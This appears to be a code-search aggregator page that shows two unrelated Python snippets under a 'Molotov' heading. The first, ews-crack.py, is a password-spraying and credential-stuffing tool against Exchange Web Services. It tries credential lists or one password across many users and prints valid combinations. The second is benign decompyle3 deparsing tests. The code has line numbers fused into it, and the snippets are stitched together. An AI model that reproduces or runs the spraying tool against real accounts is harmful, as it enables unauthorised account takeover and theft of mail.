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How to use test_single_mode method in Molotov

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ews-crack.py

...56    except CASError:57        print("CAS Error: User {} does not exist.".format(user))58        return None, None59    return account, config60def test_single_mode(domain, username, password):61    account, config = ews_config_setup(username, password, domain)62    if account is None and config is None:63        return False64    iter(account.inbox.all())65    return True66def multi_account_test(domain, filename):67    with open(filename) as credentials:68        for line in credentials:69            username, password = line.split(":")70            valid = test_single_mode(domain, username, password.rstrip('\r\n'))71            if valid:72                print("Valid combo found {}:{}".format(username, password.rstrip('\r\n')))73def spray_and_pray(domain, filename, password):74    with open(filename) as userlist:75        for user in userlist:76            valid = test_single_mode(domain, user.rstrip('\r\n'), password)77            if valid:78                print("Valid combo found {}:{}".format(user.rstrip('\r\n'), password))79@click.command()80@click.option('--mode', type=click.Choice(['spray', 'single', 'creds']))81@click.option('--filename')82@click.option('--domain')83@click.option('--username')84@click.option('--password')85def main(mode, domain, username=None, password=None, filename=None):86    leetsauce = """87  ____|  \ \        /    ___|        ___|                         |    88  __|     \ \  \   /   \___ \       |        __|    _` |    __|   |  / 89  |        \ \  \ /          |      |       |      (   |   (        <  90 _____|     \_/\_/     _____/      \____|  _|     \__,_|  \___|  _|\_\ 91"""92    banner = "============================================================================="93    print(banner)94    print(leetsauce)95    print(banner)96    if mode == 'single':97        print("Single account mode selected")98        valid = test_single_mode(domain, username, password)99        print("Valid password" if valid else "Invalid password")100    if mode == 'creds':101        print("Credential file testing selected")102        multi_account_test(domain, filename)103    if mode == 'spray':104        print("Spray and pray mode")105        spray_and_pray(domain, filename, password)106if __name__ == "__main__":...

test_code_deparse.py

Source: test_code_deparse.py

...14        print(dis.dis(code))15    deparsed = code_deparse(code, out=out, compile_mode=compile_mode, debug_opts=debug_opts)16    return deparsed17# FIXME: DRY this code18def test_single_mode() -> None:19    expressions = (20        "1",21        "i and (j or k)",22        "i and j or k",23        "i or (j and k)",24        "j % 4",25        "i = 1",26        "i += 1",27        "i = j % 4",28        "i = {}",29        "i = []",30        "for i in range(10):\n    i\n",31        "for i in range(10):\n    for j in range(10):\n        i + j\n",32        "(i for i in f if 0 < i < 4)",33        "[i for pair in p if pair for i in f]",34        # Inconsequential differences in spaces.35        # "try:\n    i\nexcept Exception:\n    j\nelse:\n    k",36    )37    for expr in expressions:38        try:39            deparsed = run_deparse(expr, compile_mode="single", debug=False)40        except:41            assert False, expr42            continue43        if deparsed.text != (expr + "\n"):44            from decompyle3.show import maybe_show_tree45            deparsed.showast = {"Full": True}46            maybe_show_tree(deparsed, deparsed.ast)47        assert deparsed.text == expr + "\n"48def test_eval_mode():49    expressions = (50        "1",51        "j % 4",52        "k == 1 or k == 2",53        "i and (j or k)",54        "i and j or k",55    )56    for expr in expressions:57        try:58            deparsed = run_deparse(expr, compile_mode="eval", debug=False)59        except:60            assert False, expr61            continue62        if deparsed.text != expr:63            from decompyle3.show import maybe_show_tree64            deparsed.showast = {"Full": True}65            maybe_show_tree(deparsed, deparsed.ast)66        assert deparsed.text == expr67def test_lambda_mode():68    expressions = (69        "lambda d=b'': 5",70        "lambda *, d=0: d",71        "lambda x: 1 if x < 2 else 3",72        "lambda y: x * y",73        "lambda n: True if n >= 95 and n & 1 else False",74        "lambda: (yield from f())",75    )76    for expr in expressions:77        try:78            deparsed = run_deparse(expr, compile_mode="lambda", debug=False)79        except:80            assert False, expr81            continue82        if deparsed.text != expr:83            from decompyle3.show import maybe_show_tree84            deparsed.showast = {"Full": True}85            maybe_show_tree(deparsed, deparsed.ast)86        assert deparsed.text == expr87if __name__ == "__main__":88    test_eval_mode()89    test_lambda_mode()...

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